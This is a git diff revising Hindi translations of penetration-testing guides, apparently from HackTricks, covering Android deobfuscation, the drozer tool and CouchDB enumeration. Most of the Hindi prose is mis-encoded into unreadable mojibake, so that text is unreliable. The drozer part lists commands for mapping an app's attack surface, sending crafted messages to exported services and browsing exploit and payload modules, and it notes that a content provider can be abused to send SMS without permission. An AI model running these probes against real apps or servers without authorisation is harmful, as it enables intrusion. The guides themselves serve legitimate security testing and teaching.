рдпрд╣ рд╕рдорд╛рди рд░реВрдк рд╕реЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд░реЗ рд▓реЗрдХрд┐рди рдорд╛рдирд╡ рдХреЗ рд▓рд┐рдП рд╕рдордЭрдирд╛ рдЖрд╕рд╛рди рд╣реЛред рдкреНрд░рддреНрдпреЗрдХ рдЕрдиреБрдХреВрд▓рди рдкреНрд░рдХрд╛рд░ рд╕рд░рд▓ рдФрд░ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдорд╛рдпрдиреЗ рдирд╣реАрдВ рд░рдЦрддрд╛ рдХрд┐ рдУрдмрдлрд╕реНрдХреЗрд╢рди рдХрд╛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреНрд░рдХрд╛рд░ рдХреНрдпрд╛ рд╣реИред ### [APKiD](https://github.com/rednaga/APKiD) @@ -714,7 +714,7 @@ APKiD рдЖрдкрдХреЛ **рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рджреЗрддрд╛ рд╣реИ рдХрд┐ рдП ### Manual -[рдХрд╕реНрдЯрдо рдУрдмрдлрд╕реНрдХреЗрд╢рди рдХреЛ рд░рд┐рд╡рд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рдХреБрдЫ рдЯреНрд░рд┐рдХреНрд╕ рд╕реАрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдХреЛ рдкрдврд╝реЗрдВ](manual-deobfuscation.md) +[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) ## Labs diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 731164f13..67eb51d22 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -17,13 +17,13 @@ pip install drozer-2.4.4-py2-none-any.whl pip install twisted pip install service_identity ``` -рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдФрд░ [latest releases](https://github.com/mwrlabs/drozer/releases) рд╕реЗ drozer APK рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВред рдЗрд╕ рд╕рдордп рдпрд╣ [this](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk) рд╣реИред +drozer APK рдХреЛ [latest releases](https://github.com/mwrlabs/drozer/releases) рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВред рдЗрд╕ рд╕рдордп рдпрд╣ [this](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk) рд╣реИред ```bash adb install drozer.apk ``` ### рд╕рд░реНрд╡рд░ рд╢реБрд░реВ рдХрд░рдирд╛ -рдПрдЬреЗрдВрдЯ рдкреЛрд░реНрдЯ 31415 рдкрд░ рдЪрд▓ рд░рд╣рд╛ рд╣реИ, рд╣рдореЗрдВ [port forward](https://en.wikipedia.org/wiki/Port_forwarding) рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рддрд╛рдХрд┐ Drozer рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рдПрдЬреЗрдВрдЯ рдХреЗ рдмреАрдЪ рд╕рдВрдЪрд╛рд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЗрд╕реЗ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдВ рдХрдорд╛рдВрдб рд╣реИ: +рдПрдЬреЗрдВрдЯ рдкреЛрд░реНрдЯ 31415 рдкрд░ рдЪрд▓ рд░рд╣рд╛ рд╣реИ, рд╣рдореЗрдВ [port forward](https://en.wikipedia.org/wiki/Port_forwarding) рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рддрд╛рдХрд┐ Drozer Client рдФрд░ Agent рдХреЗ рдмреАрдЪ рд╕рдВрдЪрд╛рд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЗрд╕реЗ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдВ рдХрдорд╛рдВрдб рд╣реИ: ```bash adb forward tcp:31415 tcp:31415 ``` @@ -40,7 +40,7 @@ drozer console connect | **Commands** | **Description** | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Help MODULE** | рдЪрдпрдирд┐рдд рдореЙрдбреНрдпреВрд▓ рдХреА рдорджрдж рджрд┐рдЦрд╛рддрд╛ рд╣реИ | -| **list** | рд╡рд░реНрддрдорд╛рди рд╕рддреНрд░ рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓реЗ рд╕рднреА drozer рдореЙрдбреНрдпреВрд▓ рдХреА рд╕реВрдЪреА рджрд┐рдЦрд╛рддрд╛ рд╣реИред рдпрд╣ рдЙрди рдореЙрдбреНрдпреВрд▓ рдХреЛ рдЫреБрдкрд╛рддрд╛ рд╣реИ рдЬрд┐рдирдХреЗ рд▓рд┐рдП рдЖрдкрдХреЗ рдкрд╛рд╕ рдЙрдЪрд┐рдд рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдирд╣реАрдВ рд╣реИрдВред | +| **list** | рд╡рд░реНрддрдорд╛рди рд╕рддреНрд░ рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓реЗ рд╕рднреА drozer рдореЙрдбреНрдпреВрд▓ рдХреА рд╕реВрдЪреА рджрд┐рдЦрд╛рддрд╛ рд╣реИред рдпрд╣ рдЙрди рдореЙрдбреНрдпреВрд▓ рдХреЛ рдЫрд┐рдкрд╛рддрд╛ рд╣реИ рдЬрд┐рдирдХреЗ рд▓рд┐рдП рдЖрдкрдХреЗ рдкрд╛рд╕ рдЙрдЪрд┐рдд рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИред | | **shell** | рдПрдЬреЗрдВрдЯ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдПрдХ рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд▓рд┐рдирдХреНрд╕ рд╢реЗрд▓ рд╢реБрд░реВ рдХрд░реЗрдВред | | **clean** | рдПрдВрдбреНрд░реЙрдЗрдб рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ drozer рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЧреНрд░рд╣реАрдд рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЗрдВ рд╣рдЯрд╛ рджреЗрдВред | | **load** | drozer рдХрдорд╛рдВрдб рд╡рд╛рд▓реЗ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдЕрдиреБрдХреНрд░рдо рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред | @@ -49,12 +49,12 @@ drozer console connect | **set** | рдПрдХ рдорд╛рди рдХреЛ рдПрдХ рдЪрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдВ рдЬрд┐рд╕реЗ drozer рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рдХрд┐рд╕реА рднреА рд▓рд┐рдирдХреНрд╕ рд╢реЗрд▓ рдореЗрдВ рдкрд░реНрдпрд╛рд╡рд░рдгреАрдп рдЪрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред | | **shell** | рдПрдЬреЗрдВрдЯ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдПрдХ рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд▓рд┐рдирдХреНрд╕ рд╢реЗрд▓ рд╢реБрд░реВ рдХрд░реЗрдВред | | **run MODULE** | рдПрдХ drozer рдореЙрдбреНрдпреВрд▓ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ | -| **exploit** | Drozer рдирд┐рд░реНрдгрдп рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИред `drozer exploit list` | -| **payload** | рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЛ рдПрдХ рдкреЗрд▓реЛрдб рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред `drozer payload list` | +| **exploit** | Drozer рдирд┐рд░реНрдгрдп рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рдг рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИред `drozer exploit list` | +| **payload** | рд╢реЛрд╖рдг рдХреЛ рдПрдХ рдкреЗрд▓реЛрдб рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред `drozer payload list` | ### Package -**рдирд╛рдо** рдЦреЛрдЬреЗрдВ рдкреИрдХреЗрдЬ рдХрд╛ рдирд╛рдо рдХреЗ рднрд╛рдЧ рджреНрд╡рд╛рд░рд╛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рддреЗ рд╣реБрдП: +**рдирд╛рдо** рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВ рдЬреЛ рдирд╛рдо рдХреЗ рднрд╛рдЧ рджреНрд╡рд╛рд░рд╛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: ```bash dz> run app.package.list -f sieve com.mwr.example.sieve @@ -79,11 +79,11 @@ Defines Permissions: - com.mwr.example.sieve.READ_KEYS - com.mwr.example.sieve.WRITE_KEYS ``` -**рдореИрдирд┐рдлреЗрд╕реНрдЯ** рдкрдврд╝реЗрдВ: +**рдореИрдирд┐рдлреЗрд╕реНрдЯ**: ```bash run app.package.manifest jakhar.aseem.diva ``` -**рдкреИрдХреЗрдЬ рдХреА рд╣рдорд▓реЗ рдХреА рд╕рддрд╣:** +**рдкреИрдХреЗрдЬ рдХреА рд╣рдорд▓реЗ рдХреА рд╕рддрд╣**: ```bash dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: @@ -100,7 +100,7 @@ is debuggable ### Activities -An exported activity componentтАЩs тАЬandroid:exportedтАЭ value is set to **тАЬtrueтАЭ** in the AndroidManifest.xml file: +рдПрдХ рдирд┐рд░реНрдпрд╛рддрд┐рдд рдЧрддрд┐рд╡рд┐рдзрд┐ рдШрдЯрдХ рдХрд╛ тАЬandroid:exportedтАЭ рдорд╛рди AndroidManifest.xml рдлрд╝рд╛рдЗрд▓ рдореЗрдВ **тАЬtrueтАЭ** рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: ```html @@ -136,11 +136,11 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ```html ``` -рдХреЛрдб рдХреЗ рдЕрдВрджрд░ **check** рдХрд░реЗрдВ рдХрд┐ \*\*`handleMessage`\*\* рдлрд╝рдВрдХреНрд╢рди **receive** рдХрд░реЗрдЧрд╛ **message**: +рдХреЛрдб рдХреЗ рдЕрдВрджрд░ **check** рдХрд░реЗрдВ **`handleMessage`** рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдЬреЛ **message** рдХреЛ **receive** рдХрд░реЗрдЧрд╛: ![](<../../../images/image (82).png>) -#### рд╕реЗрд╡рд╛ рд╕реВрдЪреА +#### рд╕реВрдЪреА рд╕реЗрд╡рд╛ ```bash dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve @@ -157,14 +157,14 @@ app.service.stop Stop Service ``` #### рдЙрджрд╛рд╣рд░рдг -Take a look to the **drozer** help for `app.service.send`: +`app.service.send` рдХреЗ рд▓рд┐рдП **drozer** рдорджрдж рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВ: ![](<../../../images/image (1079).png>) -Note that you will be sending first the data inside "_msg.what_", then "_msg.arg1_" and "_msg.arg2_", you should check inside the code **which information is being used** and where.\ -Using the `--extra` option you can send something interpreted by "_msg.replyTo"_, and using `--bundle-as-obj` you create and object with the provided details. +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдкрд╣рд▓реЗ "_msg.what_" рдХреЗ рдЕрдВрджрд░ рдбреЗрдЯрд╛ рднреЗрдЬреЗрдВрдЧреЗ, рдлрд┐рд░ "_msg.arg1_" рдФрд░ "_msg.arg2_"ред рдЖрдкрдХреЛ рдХреЛрдб рдХреЗ рдЕрдВрджрд░ **рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреМрди рд╕реА рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ** рдФрд░ рдХрд╣рд╛рдБред\ +`--extra` рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк "_msg.replyTo_" рджреНрд╡рд╛рд░рд╛ рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХреБрдЫ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ `--bundle-as-obj` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдкреНрд░рджрд╛рди рдХреА рдЧрдИ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рддреЗ рд╣реИрдВред -In the following example: +рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ: - `what == 2354` - `arg1 == 9234` @@ -185,7 +185,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m ```bash run app.broadcast.info #Detects all ``` -#### рдПрдХ рдРрдк рдХреЗ рдмреНрд░реЙрдбрдХрд╛рд╕реНрдЯ рд░рд┐рд╕реАрд╡рд░реНрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ +#### рдХрд┐рд╕реА рдРрдк рдХреЗ рдмреНрд░реЙрдбрдХрд╛рд╕реНрдЯ рд░рд┐рд╕реАрд╡рд░реНрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ ```bash #Check one negative run app.broadcast.info -a jakhar.aseem.diva @@ -206,7 +206,7 @@ Permission: null com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver Permission: null ``` -#### Broadcast **Interactions** +#### рдкреНрд░рд╕рд╛рд░рдг **рдЗрдВрдЯрд░реИрдХреНрд╢рди** ```bash app.broadcast.info Get information about broadcast receivers app.broadcast.send Send broadcast using an intent @@ -214,7 +214,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu ``` #### рд╕рдВрджреЗрд╢ рднреЗрдЬреЗрдВ -рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЖрдк **рдХрд┐рд╕реА рднреА рдЧреИрд░-рдкреНрд░реАрдорд┐рдпрдо рдЧрдВрддрд╡реНрдп рдкрд░ рдордирдЪрд╛рд╣рд╛ SMS** **рдмрд┐рдирд╛ рдЕрдиреБрдорддрд┐** рдорд╛рдВрдЧреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВред +рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЖрдк **рдХрд┐рд╕реА рднреА рдЧреИрд░-рдкреНрд░реАрдорд┐рдпрдо рдЧрдВрддрд╡реНрдп рдкрд░ рдордирдЪрд╛рд╣рд╛ SMS** **рдмрд┐рдирд╛ рдЕрдиреБрдорддрд┐** рдорд╛рдВрдЧреЗ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВред ![](<../../../images/image (415).png>) diff --git a/src/network-services-pentesting/5984-pentesting-couchdb.md b/src/network-services-pentesting/5984-pentesting-couchdb.md index 73b7d3394..c4d59dafe 100644 --- a/src/network-services-pentesting/5984-pentesting-couchdb.md +++ b/src/network-services-pentesting/5984-pentesting-couchdb.md @@ -6,7 +6,7 @@ **CouchDB** рдПрдХ рдмрд╣реБрдкрд░рдХрд╛рд░реА рдФрд░ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА **рджрд╕реНрддрд╛рд╡реЗрдЬрд╝-рдЙрдиреНрдореБрдЦ рдбреЗрдЯрд╛рдмреЗрд╕** рд╣реИ рдЬреЛ рдбреЗрдЯрд╛ рдХреЛ рдкреНрд░рддреНрдпреЗрдХ **рджрд╕реНрддрд╛рд╡реЗрдЬрд╝** рдХреЗ рднреАрддрд░ **рдХреА-рдорд╛рди рдорд╛рдирдЪрд┐рддреНрд░** рд╕рдВрд░рдЪрдирд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рддрд╛ рд╣реИред рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рднреАрддрд░ рдХреЗ рдлрд╝реАрд▓реНрдб рдХреЛ **рдХреА/рдорд╛рди рдЬреЛрдбрд╝реЗ, рд╕реВрдЪрд┐рдпреЛрдВ, рдпрд╛ рдорд╛рдирдЪрд┐рддреНрд░реЛрдВ** рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдбреЗрдЯрд╛ рд╕рдВрдЧреНрд░рд╣рдг рдФрд░ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрддрд┐ рдореЗрдВ рд▓рдЪреАрд▓рд╛рдкрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред -CouchDB рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдкреНрд░рддреНрдпреЗрдХ **рджрд╕реНрддрд╛рд╡реЗрдЬрд╝** рдХреЛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реНрддрд░ рдкрд░ рдПрдХ **рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛** (`_id`) рд╕реМрдВрдкрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдХрд┐рдП рдЧрдП рдФрд░ рд╕рд╣реЗрдЬреЗ рдЧрдП рдкреНрд░рддреНрдпреЗрдХ рд╕рдВрд╢реЛрдзрди рдХреЛ рдПрдХ **рд╕рдВрд╢реЛрдзрди рд╕рдВрдЦреНрдпрд╛** (`_rev`) рд╕реМрдВрдкрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╕рдВрд╢реЛрдзрди рд╕рдВрдЦреНрдпрд╛ **рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЗ рдХреБрд╢рд▓ рдЯреНрд░реИрдХрд┐рдВрдЧ рдФрд░ рдкреНрд░рдмрдВрдзрди** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рднреАрддрд░ рдбреЗрдЯрд╛ рдХреА рдЖрд╕рд╛рди рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрддрд┐ рдФрд░ рд╕рдордиреНрд╡рдп рдХреА рд╕реБрд╡рд┐рдзрд╛ рд╣реЛрддреА рд╣реИред +CouchDB рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдкреНрд░рддреНрдпреЗрдХ **рджрд╕реНрддрд╛рд╡реЗрдЬрд╝** рдХреЛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реНрддрд░ рдкрд░ рдПрдХ **рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛** (`_id`) рд╕реМрдВрдкрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдХрд┐рдП рдЧрдП рдФрд░ рд╕рд╣реЗрдЬреЗ рдЧрдП рдкреНрд░рддреНрдпреЗрдХ рд╕рдВрд╢реЛрдзрди рдХреЛ рдПрдХ **рд╕рдВрд╢реЛрдзрди рд╕рдВрдЦреНрдпрд╛** (`_rev`) рд╕реМрдВрдкрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╕рдВрд╢реЛрдзрди рд╕рдВрдЦреНрдпрд╛ **рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЗ рдХреБрд╢рд▓ рдЯреНрд░реИрдХрд┐рдВрдЧ рдФрд░ рдкреНрд░рдмрдВрдзрди** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рднреАрддрд░ рдбреЗрдЯрд╛ рдХреА рдЖрд╕рд╛рди рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрддрд┐ рдФрд░ рд╕рдордиреНрд╡рдп рдХреА рд╕реБрд╡рд┐рдзрд╛ рдорд┐рд▓рддреА рд╣реИред **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреЛрд░реНрдЯ:** 5984(http), 6984(https) ``` @@ -34,24 +34,24 @@ curl http://IP:5984/ ### Info Enumeration -рдпреЗ рд╡реЗ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╣реИрдВ рдЬрд╣рд╛рдБ рдЖрдк **GET** рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк [**couchdb рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдЕрдзрд┐рдХ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдФрд░ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╡рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ**](https://docs.couchdb.org/en/latest/api/index.html). +рдпреЗ рд╡реЗ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╣реИрдВ рдЬрд╣рд╛рдБ рдЖрдк **GET** рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк [**couchdb рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдФрд░ рдЕрдзрд┐рдХ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдФрд░ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╡рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ**](https://docs.couchdb.org/en/latest/api/index.html)ред - **`/_active_tasks`** рдЪрд▓ рд░рд╣реЗ рдХрд╛рд░реНрдпреЛрдВ рдХреА рд╕реВрдЪреА, рдЬрд┐рд╕рдореЗрдВ рдХрд╛рд░реНрдп рдХрд╛ рдкреНрд░рдХрд╛рд░, рдирд╛рдо, рд╕реНрдерд┐рддрд┐ рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ ID рд╢рд╛рдорд┐рд▓ рд╣реИред - **`/_all_dbs`** CouchDB рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд╕рднреА рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рд╕реВрдЪреА рд▓реМрдЯрд╛рддрд╛ рд╣реИред -- \*\*`/_cluster_setup`\*\* рдиреЛрдб рдпрд╛ рдХреНрд▓рд╕реНрдЯрд░ рдХреА рд╕реНрдерд┐рддрд┐ рд▓реМрдЯрд╛рддрд╛ рд╣реИ, рдХреНрд▓рд╕реНрдЯрд░ рд╕реЗрдЯрдЕрдк рд╡рд┐рдЬрд╝рд╛рд░реНрдб рдХреЗ рдЕрдиреБрд╕рд╛рд░ред +- **`/_cluster_setup`** рдХреНрд▓рд╕реНрдЯрд░ рд╕реЗрдЯрдЕрдк рд╡рд┐рдЬрд╝рд╛рд░реНрдб рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдиреЛрдб рдпрд╛ рдХреНрд▓рд╕реНрдЯрд░ рдХреА рд╕реНрдерд┐рддрд┐ рд▓реМрдЯрд╛рддрд╛ рд╣реИред - **`/_db_updates`** CouchDB рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд╕рднреА рдбреЗрдЯрд╛рдмреЗрд╕ рдШрдЯрдирд╛рдУрдВ рдХреА рд╕реВрдЪреА рд▓реМрдЯрд╛рддрд╛ рд╣реИред рдЗрд╕ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `_global_changes` рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ рдЕрд╕реНрддрд┐рддреНрд╡ рдЖрд╡рд╢реНрдпрдХ рд╣реИред -- **`/_membership`** рдХреНрд▓рд╕реНрдЯрд░ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдиреЛрдбреНрд╕ рдХреЛ `cluster_nodes` рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред рдлрд╝реАрд▓реНрдб `all_nodes` рд╕рднреА рдиреЛрдбреНрд╕ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЗрд╕ рдиреЛрдб рдХреЛ рдкрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рд╡рд╛рд▓реЗ рдиреЛрдбреНрд╕ рднреА рд╢рд╛рдорд┐рд▓ рд╣реИрдВред -- **`/_scheduler/jobs`** рдкреБрдирд░реБрддреНрдкрд╛рджрди рдХрд╛рд░реНрдпреЛрдВ рдХреА рд╕реВрдЪреАред рдкреНрд░рддреНрдпреЗрдХ рдХрд╛рд░реНрдп рд╡рд┐рд╡рд░рдг рдореЗрдВ рд╕реНрд░реЛрдд рдФрд░ рд▓рдХреНрд╖реНрдп рдЬрд╛рдирдХрд╛рд░реА, рдкреБрдирд░реБрддреНрдкрд╛рджрди ID, рд╣рд╛рд▓ рдХреА рдШрдЯрдирд╛ рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕, рдФрд░ рдХреБрдЫ рдЕрдиреНрдп рдЪреАрдЬреЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВрдЧреАред +- **`/_membership`** `cluster_nodes` рдХреЗ рд░реВрдк рдореЗрдВ рдХреНрд▓рд╕реНрдЯрд░ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдиреЛрдбреНрд╕ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред рдлрд╝реАрд▓реНрдб `all_nodes` рдЙрди рд╕рднреА рдиреЛрдбреНрд╕ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЗрд╕ рдиреЛрдб рдХреЛ 